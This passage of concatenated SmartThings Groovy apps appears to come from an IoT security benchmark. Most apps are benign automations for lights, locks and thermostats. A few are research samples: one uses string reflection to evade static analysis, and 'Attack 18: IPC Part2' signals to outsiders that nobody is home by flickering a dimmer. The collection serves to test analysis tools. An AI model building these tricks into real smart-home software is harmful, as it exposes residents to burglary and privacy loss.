if (now() < startTime.time && now() > endTime.time) 49 | { 50 | } 51 | else { 52 | switches.on() 53 | def delay = minutesLater * 60 54 | runIn(delay, lightsoff) 55 | log.debug "turning lights off aftet delay" 56 | } 57 | 58 | 59 | } 60 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/ID13RunTimeLogicRequired+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * There are ways to trick static analysis, one method is reflection through strings 3 | * The example code block shows how static analysis system may fail (over-approximate) 4 | * Author: Z. Berkay Celik 5 | * Reflection through string 6 | * Email: zbc102@cse.psu.edu 7 | */ 8 | 9 | definition( 10 | name: "Soteria", 11 | namespace: "Soteria", 12 | author: "IoTBench", 13 | description: "When there is smoke alarm goes off", 14 | category: "Convenience", 15 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet.png", 16 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/garage_outlet@2x.png") 17 | 18 | def initialize() { 19 | log.debug "initialize configured" 20 | subscribe(presenceSensor, "present", presenceChanged) 21 | subscribe(presenceSensor, "not present", presenceChanged) 22 | } 23 | 24 | def presenceChanged(evt){ 25 | String s = "" 26 | if (evt.value == "not present") { 27 | s = "closeAll" 28 | }else{ 29 | s = "openAll" 30 | } 31 | performAction(s) 32 | } 33 | 34 | //Soteria cannot analyze, string analysis is required or run-time instrumentation is required. 35 | def performAction(String f){ 36 | log.debug "Executing $f at ${new Date()}" 37 | "$f()" // reflection object."${mystring}"() 38 | } 39 | 40 | def openAll(){ 41 | // turns on all switches 42 | } 43 | 44 | def closeAll(){ 45 | // turns off all switches 46 | } 47 | 48 | // these methods are not invoked for sure. 49 | def takeAction(){ 50 | 51 | } 52 | 53 | def takeAction2() { 54 | 55 | } -------------------------------------------------------------------------------- /smartThings/smartThings-ProvThings/ProvThings-attacks/IPC-part2.groovy: -------------------------------------------------------------------------------- 1 | definition( 2 | name: "Attack 18: IPC Part2", 3 | namespace: "uiuc", 4 | author: "Qi Wang", 5 | description: "IPC part2", 6 | category: "Safety & Security", 7 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 8 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 9 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 10 | 11 | preferences { 12 | section("When all of these people leave home") { 13 | input "people", "capability.presenceSensor", multiple:true 14 | input "myswitch", "capability.switchLevel", title:"switchlevel?", multiple:true 15 | } 16 | } 17 | 18 | def installed() { 19 | initialize() 20 | } 21 | 22 | 23 | def updated() { 24 | unsubscribe() 25 | initialize() 26 | } 27 | 28 | 29 | def initialize() { 30 | subscribe(people, "presence", presence) 31 | } 32 | 33 | 34 | def presence(evt) { 35 | if (evt.value == "present") { 36 | log.debug "home" 37 | myswitch.setLevel(80) 38 | state.home = true 39 | }else { 40 | log.debug "not home" 41 | state.home = false 42 | myswitch.setLevel(0) 43 | attack() 44 | } 45 | } 46 | 47 | def attack() { 48 | log.debug "attack: no one in home!!!" 49 | state.attack = "ATTACK" 50 | state.index = 0 51 | runIn(10,changeIntensity) 52 | } 53 | 54 | def changeIntensity() { 55 | if(state.home) 56 | return; 57 | if(state.index >= state.attack.length()){ 58 | myswitch.setLevel(0) 59 | return; 60 | } 61 | def value = (int)state.attack[state.index] 62 | state.index = state.index + 1 63 | myswitch.setLevel(value) 64 | runIn(10 ,changeIntensity) 65 | 66 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ChangeLockCodes.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Change Lock Codes 3 | * 4 | * Author: bigpunk6 5 | */ 6 | definition( 7 | name: "Change Lock Codes", 8 | namespace: "", 9 | author: "Bigpunk6", 10 | description: "Changes users for a Schlage lock", 11 | category: "Safety & Security", 12 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 13 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 14 | 15 | preferences { 16 | section("What Lock") { 17 | input "lock1","capability.lock", title: "Lock" 18 | } 19 | section("User") { 20 | input "user1", "decimal", title: "User (From 1 to 30) " 21 | input "code1", "decimal", title: "Code (4 to 8 digits)" 22 | input "delete1", "enum", title: "Delete User", required: false, metadata: [values: ["Yes","No"]] 23 | } 24 | } 25 | 26 | def installed() 27 | { 28 | subscribe(app, appTouch) 29 | subscribe(lock1, "usercode", usercodeget) 30 | } 31 | 32 | def updated() 33 | { 34 | unsubscribe() 35 | subscribe(app, appTouch) 36 | subscribe(lock1, "usercode", usercodeget) 37 | } 38 | 39 | def appTouch(evt) { 40 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 41 | log.debug "user: $user1, code: $code1" 42 | def idstatus1 = 1 43 | if (delete1 == "Yes") { 44 | idstatus1 = 0 45 | } else { 46 | idstatus1 = 1 47 | } 48 | lock1.usercodechange(user1, code1, idstatus1) 49 | } 50 | 51 | def usercodeget(evt){ 52 | log.debug "Current Code for user $user1: $lock1.currentUsercode" 53 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/ThermostatAutoHome.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Thermostat Auto Home 3 | * 4 | * Author: sidjohn1@gmail.com 5 | * Date: 2013-07-23 6 | */ 7 | 8 | // Automatically generated. Make future change here. 9 | definition( 10 | name: "Thermostat Auto Home", 11 | namespace: "sidjohn1", 12 | author: "sidjohn1@gmail.com", 13 | description: "Simply marks any thermostat home after someone arrives. Great for Nest", 14 | category: "Green Living", 15 | iconUrl: "http://cdn.device-icons.smartthings.com/Home/home1-icn.png", 16 | iconX2Url: "http://cdn.device-icons.smartthings.com/Home/home1-icn@2x.png", 17 | oauth: false 18 | ) 19 | 20 | preferences { 21 | 22 | section("When one of these people arrive at home") { 23 | input "presence1", "capability.presenceSensor", title: "Who?", multiple: true, required: true 24 | } 25 | section("Set this thermostat staus to home") { 26 | input "thermostat1", "capability.thermostat", title: "Which?", multiple: true, required: true 27 | } 28 | } 29 | 30 | def installed() 31 | { 32 | subscribe(presence1, "presence", presenceHandler) 33 | } 34 | 35 | def updated() 36 | { 37 | unsubscribe() 38 | subscribe(presence1, "presence", presenceHandler) 39 | } 40 | 41 | def presenceHandler(evt) 42 | { 43 | log.debug "presenceHandler $evt.name: $evt.value" 44 | def current = presence1.currentValue("presence") 45 | log.debug current 46 | def presenceValue = presence1.find{it.currentPresence == "present"} 47 | log.debug presenceValue 48 | if(presenceValue){ 49 | thermostat1?.present() 50 | log.debug "SmartThings changed your thermostat to home because someone arrived home" 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/brighten-my-path.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Brighten My Path 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Brighten My Path", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn your lights on when motion is detected.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When there's movement...") { 29 | input "motion1", "capability.motionSensor", title: "Where?", multiple: true 30 | } 31 | section("Turn on a light...") { 32 | input "switch1", "capability.switch", multiple: true 33 | } 34 | } 35 | 36 | def installed() 37 | { 38 | subscribe(motion1, "motion.active", motionActiveHandler) 39 | } 40 | 41 | def updated() 42 | { 43 | unsubscribe() 44 | subscribe(motion1, "motion.active", motionActiveHandler) 45 | } 46 | 47 | def motionActiveHandler(evt) { 48 | switch1.on() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartThings-Soteria-third-party/TP47.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Control Switch Based Upon Play Status 3 | * 4 | * Copyright 2014 Josh Bohde 5 | * 6 | */ 7 | definition( 8 | name: "Control Switch Based Upon Play Status", 9 | namespace: "joshbohde", 10 | author: "Josh Bohde", 11 | description: "Turn things on and off based upon the play status of a media player", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 15 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 16 | 17 | 18 | preferences { 19 | section("When the player plays..."){ 20 | input "player", "capability.musicPlayer", title: "Which Player?" 21 | } 22 | 23 | section("Turn on a switch..."){ 24 | input "switches", "capability.switch", multiple: true 25 | 26 | } 27 | } 28 | 29 | def installed() { 30 | log.debug "Installed with settings: ${settings}" 31 | 32 | initialize() 33 | } 34 | 35 | def updated() { 36 | log.debug "Updated with settings: ${settings}" 37 | 38 | unsubscribe() 39 | initialize() 40 | } 41 | 42 | def initialize() { 43 | subscribe(player, "status", handler) 44 | } 45 | 46 | 47 | def handler(evt) { 48 | log.debug "$evt.value: $evt, $settings" 49 | log.trace "Turning on switches: $switches" 50 | if(evt.value == "playing" || evt.value == "paused"){ 51 | unschedule('offHandler') 52 | switches.on() 53 | }else{ 54 | runIn(2 * 60, 'offHandler') 55 | } 56 | } 57 | 58 | 59 | def offHandler(){ 60 | log.debug "running off handler" 61 | switches.off() 62 | } 63 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/LetThereBeDark.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Let There Be Dark! 3 | * Turn your lights off when a Contact Sensor is opened and turn them back on when it is closed, ONLY if the Lights were previouly on. 4 | * 5 | * Author: SmartThings modified by Douglas Rich 6 | */ 7 | definition( 8 | name: "Let There Be Dark!", 9 | namespace: "Dooglave", 10 | author: "Dooglave", 11 | description: "Turn your lights off when a Contact Sensor is opened and turn them back on when it is closed, ONLY if the Lights were previouly on", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 15 | ) 16 | 17 | preferences { 18 | section("When the door opens") { 19 | input "contact1", "capability.contactSensor", title: "Where?" 20 | } 21 | section("Turn off a light") { 22 | input "switch1", "capability.switch" 23 | } 24 | } 25 | 26 | def installed() { 27 | subscribe(contact1, "contact", contactHandler) 28 | subscribe(switch1, "switch.on", switchOnHandler) 29 | subscribe(switch1, "switch.off", switchOffHandler) 30 | } 31 | 32 | def updated() { 33 | unsubscribe() 34 | subscribe(contact1, "contact", contactHandler) 35 | subscribe(switch1, "switch.on", switchOnHandler) 36 | subscribe(switch1, "switch.off", switchOffHandler) 37 | } 38 | 39 | def contactHandler(evt) { 40 | log.debug "$evt.value" 41 | if (evt.value == "open") { 42 | state.wasOn = switch1.currentValue("switch") == "on" 43 | switch1.off() 44 | } 45 | 46 | if (evt.value == "closed") { 47 | if(state.wasOn)switch1.on() 48 | } 49 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/StrobeWhenIamHomeandSomeoneArrives.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Strobe When I am Home and Someone Arrives 3 | * 4 | * Author: Jordan Terrell 5 | * Date: 2013-07-27 6 | */ 7 | preferences { 8 | section("When I'm here...") { 9 | input "presence1", "capability.presenceSensor", title: "Who's here?" 10 | } 11 | 12 | section("And someone arrives...") { 13 | input "presence2", "capability.presenceSensor", title: "Who arrives?" 14 | } 15 | 16 | section("Turn the alarm stobe on...") { 17 | input "alarm", "capability.alarm", title: "Which alarm strobe?" 18 | } 19 | } 20 | 21 | def installed() { 22 | log.debug "Installed with settings: ${settings}" 23 | log.debug "Current mode = ${location.mode}, people = ${people.collect{it.label + ': ' + it.currentPresence}}" 24 | 25 | initialize() 26 | } 27 | 28 | def updated() { 29 | log.debug "Updated with settings: ${settings}" 30 | log.debug "Current mode = ${location.mode}, people = ${people.collect{it.label + ': ' + it.currentPresence}}" 31 | 32 | unsubscribe() 33 | initialize() 34 | } 35 | 36 | def initialize() { 37 | subscribe(presence2, "presence", onPresenceChange) 38 | } 39 | 40 | def onPresenceChange(evt) { 41 | log.debug "evt.name: $evt.value" 42 | def youreHere = presence1.latestValue == "present" 43 | def theyreHere = presence2.latestValue == "present" 44 | 45 | log.debug "Your Presence: ${presence1.latestValue}" 46 | log.debug "Their Presence: ${presence2.latestValue}" 47 | 48 | log.debug "You're Here: ${youreHere}" 49 | log.debug "They're Here: ${theyreHere}" 50 | 51 | if(youreHere && theyreHere) { 52 | alarm.strobe() 53 | } 54 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/Turnsomethingoffwhenacontactopens.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light off when door opens 3 | * 4 | * Copyright 2014 Jas. Powell 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | definition( 17 | name: "Turn something off when a contact opens", 18 | namespace: "jaspowell", 19 | author: "Jas. Powell", 20 | description: "Turns something off when a contact is opened", 21 | category: "Convenience", 22 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 23 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 24 | 25 | preferences { 26 | section ("When the door opens...") { 27 | input "contact1", "capability.contactSensor", title: "Where?" 28 | } 29 | section ("Turn off a light...") { 30 | input "switch1", "capability.switch" 31 | } 32 | } 33 | 34 | def installed() 35 | { 36 | subscribe(contact1, "contact.open", contactOpenHandler) 37 | } 38 | 39 | def updated() 40 | { 41 | unsubscribe() 42 | subscribe(contact1, "contact.open", contactOpenHandler) 43 | } 44 | 45 | def contactOpenHandler(evt) { 46 | switch1.off() 47 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/lights-off-when-closed.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Lights Off, When Closed 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Lights Off, When Closed", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn your lights off when an open/close sensor closes.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_contact-outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section ("When the door closes...") { 29 | input "contact1", "capability.contactSensor", title: "Where?" 30 | } 31 | section ("Turn off a light...") { 32 | input "switch1", "capability.switch" 33 | } 34 | } 35 | 36 | def installed() 37 | { 38 | subscribe(contact1, "contact.closed", contactClosedHandler) 39 | } 40 | 41 | def updated() 42 | { 43 | unsubscribe() 44 | subscribe(contact1, "contact.closed", contactClosedHandler) 45 | } 46 | 47 | def contactClosedHandler(evt) { 48 | switch1.off() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/BathroomMotion.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Light Follows Me 3 | * 4 | * Author: SmartThings 5 | */ 6 | 7 | preferences { 8 | section("Turn on when there's movement..."){ 9 | input "motion1", "capability.motionSensor", title: "Where?" 10 | } 11 | section("And off when there's been no movement for..."){ 12 | input "minutes1", "number", title: "Minutes?" 13 | } 14 | section("Turn on/off light(s)..."){ 15 | input "switches", "capability.switch", multiple: true 16 | } 17 | } 18 | 19 | def installed() { 20 | subscribe(motion1, "motion", motionHandler) 21 | } 22 | 23 | def updated() { 24 | unsubscribe() 25 | subscribe(motion1, "motion", motionHandler) 26 | } 27 | 28 | def motionHandler(evt) { 29 | log.debug "$evt.name: $evt.value" 30 | if (evt.value == "active") { 31 | log.debug "turning on lights" 32 | switches.on() 33 | } else if (evt.value == "inactive") { 34 | runIn(minutes1 * 60, scheduleCheck, [overwrite: false]) 35 | } 36 | } 37 | 38 | def scheduleCheck() { 39 | log.debug "schedule check" 40 | def motionState = motion1.currentState("motion") 41 | if (motionState.value == "inactive") { 42 | def elapsed = now() - motionState.rawDateCreated.time 43 | def threshold = 1000 * 60 * minutes1 - 1000 44 | if (elapsed >= threshold) { 45 | log.debug "Motion has stayed inactive long enough since last check ($elapsed ms): turning lights off" 46 | switches.off() 47 | } else { 48 | log.debug "Motion has not stayed inactive long enough since last check ($elapsed ms): doing nothing" 49 | } 50 | } else { 51 | log.debug "Motion is active, do nothing and wait for inactive" 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/MultiDimmer.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Multi Dimmer 3 | * 4 | * Author: Brad Sileo 5 | * Date: 2014-01-17 6 | * 7 | 8 | * 9 | */ 10 | preferences { 11 | section("Configure") { 12 | input "dimmer", "capability.switchLevel", title: "Which dimmer switch?", description: "Tap to select a switch", multiple: false 13 | input "bulbs", "capability.switchLevel", title: "Which lights to set?", description: "Tap to select switches/lights to turn on", required: true, multiple: true 14 | 15 | } 16 | } 17 | 18 | def installed() { 19 | log.debug "Installing 'Multi Dim' with settings: ${settings}" 20 | 21 | commonInit() 22 | } 23 | 24 | def updated() { 25 | log.debug "Updating 'Multi Dim' with settings: ${settings}" 26 | unsubscribe() 27 | 28 | commonInit() 29 | } 30 | 31 | private commonInit() { 32 | subscribe(dimmer,"level",updateLevel) 33 | subscribe(dimmer,"switch.on",onHandler) 34 | subscribe(dimmer,"switch.off",offHandler) 35 | } 36 | 37 | def onHandler(evt) { 38 | debug "Multi Dimmer: ON" 39 | //bulbs?.on() 40 | } 41 | 42 | 43 | def offHandler(evt) { 44 | debug "Multi Dimmer: OFF" 45 | bulbs?.off() 46 | } 47 | 48 | 49 | 50 | def updateLevel(evt) { 51 | debug "UpdateLevel: $evt" 52 | int level = dimmer.currentValue("level") 53 | debug "level: $level" 54 | 55 | bulbs.each { 56 | debug "Setting dimmer: ${it} to level: ${level}" 57 | if (level == 0) { 58 | it.off() 59 | } 60 | else { 61 | it.on() 62 | } 63 | it.setLevel(level) 64 | } 65 | 66 | debug "Done setting dimmers level to $level" 67 | } 68 | 69 | 70 | 71 | private debug(message) { 72 | log.debug "${message}" 73 | } 74 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/darken-behind-me.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Darken Behind Me 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Darken Behind Me", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn your lights off after a period of no motion being observed.", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_motion-outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When there's no movement...") { 29 | input "motion1", "capability.motionSensor", title: "Where?" 30 | } 31 | section("Turn off a light...") { 32 | input "switch1", "capability.switch", multiple: true 33 | } 34 | } 35 | 36 | def installed() 37 | { 38 | subscribe(motion1, "motion.inactive", motionInactiveHandler) 39 | } 40 | 41 | def updated() 42 | { 43 | unsubscribe() 44 | subscribe(motion1, "motion.inactive", motionInactiveHandler) 45 | } 46 | 47 | def motionInactiveHandler(evt) { 48 | switch1.off() 49 | } 50 | -------------------------------------------------------------------------------- /smartThings/smartThings-Soteria/smartthings-Soteria-MalIoT-apps/Group4/ID15CreateGeneralPropertyViolations+.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * The app violates general properties when installed with other apps 3 | * Included in repo by Z. Berkay Celik 4 | * Email: zbc102@cse.psu. 5 | * Notes: Though the functionality of the app is benign, the apps might be chained to validate a property. 6 | */ 7 | definition( 8 | name: "Soteria", 9 | namespace: "Soteria", 10 | author: "Soteria", 11 | description: "when I arrive, turn on ...", 12 | category: "Convenience", 13 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_presence-outlet.png", 14 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_presence-outlet@2x.png" 15 | ) 16 | 17 | preferences { 18 | section("When I arrive and leave..."){ 19 | input "presence1", "capability.presenceSensor", title: "Who?", multiple: true 20 | } 21 | section("Turn on/off a light..."){ 22 | input "switch1", "capability.switch", multiple: true 23 | } 24 | } 25 | 26 | def installed(){ 27 | subscribe(presence1, "presence", presenceHandler) 28 | } 29 | 30 | def updated(){ 31 | unsubscribe() 32 | subscribe(presence1, "presence", presenceHandler) 33 | } 34 | 35 | def presenceHandler(evt){ 36 | log.debug "presenceHandler $evt.name: $evt.value" 37 | def current = presence1.currentValue("presence") 38 | log.debug current 39 | 40 | def presenceValue = presence1.find{it.currentPresence == "present"} 41 | def notpresenceValue = presence1.find{it.currentPresence == "not present"} 42 | 43 | log.debug presenceValue 44 | if(presenceValue){ 45 | switch1?.on() 46 | log.debug "Someone's home!" 47 | } 48 | if(notpresenceValue){ 49 | switch1?.off() 50 | log.debug "Everyone's away." 51 | } 52 | } -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/DoorAutoLock.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Door Lock 2.0 3 | * 4 | * Author: Josh Foshee 5 | * Date: 2013-08-23 6 | */ 7 | preferences { 8 | section("When a door unlocks...") { 9 | input "lock1", "capability.lock" 10 | } 11 | section("Lock it how many minutes later?") { 12 | input "minutesLater", "number", title: "When?" 13 | } 14 | } 15 | def installed() { 16 | log.debug "Installed with settings: ${settings}" 17 | subscribe(lock1, "lock", doorUnlockedHandler, [filterEvents: false]) 18 | } 19 | 20 | def updated() { 21 | log.debug "Updated with settings: ${settings}" 22 | 23 | unsubscribe() 24 | subscribe(lock1, "lock", doorUnlockedHandler, [filterEvents: false]) 25 | } 26 | 27 | def lockDoor() { // This process locks the door. 28 | lock1.lock() // Don't need delay because the process is scheduled to run later 29 | } 30 | 31 | def doorUnlockedHandler(evt) { 32 | log.debug "Lock ${lock1} was: ${evt.value}" 33 | 34 | if (evt.value == "lock") { 35 | log.debug "Human Locked ${lock1}, No need to lock door" 36 | unschedule( lockDoor ) 37 | } 38 | if (evt.value == "unlocked") { // If the human (or computer) unlocks the door then... 39 | log.debug "Locking in ${minutesLater} minutes (${delay}ms)" 40 | def delay = minutesLater * 60 // runIn uses seconds so we don't need to multiple by 1000 41 | runIn( delay, lockDoor) // ...schedule the door lock procedure to run x minutes later. 42 | } 43 | } -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/big-turn-off.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Big Turn OFF 14 | * 15 | * Author: SmartThings 16 | */ 17 | definition( 18 | name: "Big Turn OFF", 19 | namespace: "smartthings", 20 | author: "SmartThings", 21 | description: "Turn your lights off when the SmartApp is tapped or activated", 22 | category: "Convenience", 23 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 24 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 25 | ) 26 | 27 | preferences { 28 | section("When I touch the app, turn off...") { 29 | input "switches", "capability.switch", multiple: true 30 | } 31 | } 32 | 33 | def installed() 34 | { 35 | subscribe(location, changedLocationMode) 36 | subscribe(app, appTouch) 37 | } 38 | 39 | def updated() 40 | { 41 | unsubscribe() 42 | subscribe(location, changedLocationMode) 43 | subscribe(app, appTouch) 44 | } 45 | 46 | def changedLocationMode(evt) { 47 | log.debug "changedLocationMode: $evt" 48 | switches?.off() 49 | } 50 | 51 | def appTouch(evt) { 52 | log.debug "appTouch: $evt" 53 | switches?.off() 54 | } 55 | -------------------------------------------------------------------------------- /smartThings/smartThings-SainT/smartThings-SainT-official/big-turn-on.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright 2015 SmartThings 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 5 | * in compliance with the License. You may obtain a copy of the License at: 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 10 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 11 | * for the specific language governing permissions and limitations under the License. 12 | * 13 | * Big Turn ON 14 | * 15 | * Author: SmartThings 16 | */ 17 | 18 | definition( 19 | name: "Big Turn ON", 20 | namespace: "smartthings", 21 | author: "SmartThings", 22 | description: "Turn your lights on when the SmartApp is tapped or activated.", 23 | category: "Convenience", 24 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet.png", 25 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Meta/light_outlet@2x.png" 26 | ) 27 | 28 | preferences { 29 | section("When I touch the app, turn on...") { 30 | input "switches", "capability.switch", multiple: true 31 | } 32 | } 33 | 34 | def installed() 35 | { 36 | subscribe(location, changedLocationMode) 37 | subscribe(app, appTouch) 38 | } 39 | 40 | def updated() 41 | { 42 | unsubscribe() 43 | subscribe(location, changedLocationMode) 44 | subscribe(app, appTouch) 45 | } 46 | 47 | def changedLocationMode(evt) { 48 | log.debug "changedLocationMode: $evt" 49 | switches?.on() 50 | } 51 | 52 | def appTouch(evt) { 53 | log.debug "appTouch: $evt" 54 | switches?.on() 55 | } 56 | -------------------------------------------------------------------------------- /smartThings/smartThings-contexIoT/smartThings-contextIoT-official-and-third-party/GarageDoorMIMOlite.txt.groovy: -------------------------------------------------------------------------------- 1 | /** 2 | * Garage Door MIMOlite 3 | * 4 | * Copyright 2015 carlos@carlossaldarriaga.com 5 | * 6 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except 7 | * in compliance with the License. You may obtain a copy of the License at: 8 | * 9 | * http://www.apache.org/licenses/LICENSE-2.0 10 | * 11 | * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed 12 | * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License 13 | * for the specific language governing permissions and limitations under the License. 14 | * 15 | */ 16 | definition( 17 | name: "Garage Door MIMOlite ", 18 | namespace: "", 19 | author: "carlos@carlossaldarriaga.com", 20 | description: "Garage Door Controller for MIMOlite", 21 | category: "My Apps", 22 | iconUrl: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience.png", 23 | iconX2Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png", 24 | iconX3Url: "https://s3.amazonaws.com/smartapp-icons/Convenience/Cat-Convenience@2x.png") 25 | 26 | 27 | preferences { 28 | section("Title") { 29 | // TODO: put inputs here 30 | } 31 | } 32 | 33 | def installed() { 34 | log.debug "Installed with settings: ${settings}" 35 | 36 | initialize() 37 | } 38 | 39 | def updated() { 40 | log.debug "Updated with settings: ${settings}" 41 | 42 | unsubscribe() 43 | initialize() 44 | } 45 | 46 | def initialize() { 47 | // TODO: subscribe to attributes, devices, locations, etc. 